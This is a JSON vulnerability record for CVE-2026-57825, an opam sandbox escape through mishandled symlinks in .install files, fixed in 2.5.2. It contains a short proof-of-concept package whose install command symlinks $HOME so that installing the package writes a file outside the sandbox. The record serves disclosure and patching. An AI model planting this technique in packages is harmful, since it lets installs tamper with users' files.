{"id":"CVE-2026-57825","aliases":["CVE-2026-57825","OSEC-2026-10"],"related":[],"kind":"vulnerability","state":"published","title":"opam install sandbox escape using symlinks","summary":"In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nInstalling files through `.install` files do not check symlinks resolution of the target path, and so can bypass sandboxing.\n\n## Exploit\n\nLet's imagine a `test` package whose `test.install` file looks like the following:\n```\nshare_root: [\n  \"test\" {\"blah/pwnd\"}\n]\n```\nand `test.opam` file:\n```\nopam-version: \"2.0\"\ninstall: [\"sh\" \"-c\" \"ln -s \\\"$HOME\\\" \\\"%{share}%/blah\\\"\"]\n```\n\nInstalling this package will write the `pwnd` file in the home directory of the current user, bypassing sandboxing.\n\n## Timeline\n\n- 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team\n- 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks\n- 2026-07-08: opam 2.5.2 was released with the fix","format":"markdown","source":"osec"}],"published":"2026-07-07T12:00:00.000Z","modified":"2026-11-06T13:45:03.916Z","severity":{"scorer":"mitre","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","score":5.7,"rating":"MEDIUM"},"severities":[{"scorer":"mitre","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","score":5.7,"rating":"MEDIUM"},{"scorer":"OCaml Security Advisories","scheme":"CVSS:3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","score":5.7,"rating":"MEDIUM"}],"cwes":["CWE-61"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"2.5.2","status":"affected"}],"vendor":"OCaml","product":"opam","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.5.2"}],"ecosystem":"opam","package":"opam-devel","purl":"pkg:opam/opam-devel","source":"osec"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"09c3df1ffb33cc0a09b3a81f36bb74898dce2120"},{"type":"git","introduced":"0","status":"affected","fixed":"248f8400e5ecb6ecbd7a672448477d08cedfdc24"}],"repo":"https://github.com/ocaml/opam","source":"osec"}],"references":[{"url":"https://github.com/ocaml/opam/releases","tags":[],"sources":["cvelist","nvd"]},{"url":"https://osv.dev/vulnerability/OSEC-2026-10","tags":[],"sources":["cvelist","nvd"]},{"url":"https://lists.debian.org/debian-lts-announce/2026/07/msg00026.html","tags":[],"sources":["cvelist","nvd"]},{"url":"https://github.com/ocaml/opam/pull/7005","tags":["fix"],"sources":["osec"]},{"url":"https://github.com/ocaml/opam/pull/7006","tags":["fix"],"sources":["osec"]}],"credits":["Kate Deplaix","Nathan Rebours","Raja Boujbel","Hannes Mehnert"],"assigner":"mitre","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-09-14T15:37:34.957Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-57825","url":"https://www.cve.org/CVERecord?id=CVE-2026-57825","licence":"CVE Terms of Use","modified":"2026-09-14T15:41:32.570Z"},{"source":"osec","name":"OCaml Security Advisories","id":"OSEC-2026-10","url":"https://osv.dev/vulnerability/OSEC-2026-10","licence":"CC0-1.0","modified":"2026-11-06T13:45:03.916Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-57825","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57825","licence":"Public domain","modified":"2026-09-14T16:17:15.167Z"}],"updatedAt":"2026-11-25T22:59:37.686Z","epss":{"score":0.00312,"percentile":0.26068,"date":"2026-12-01T12:00:22.000Z"}}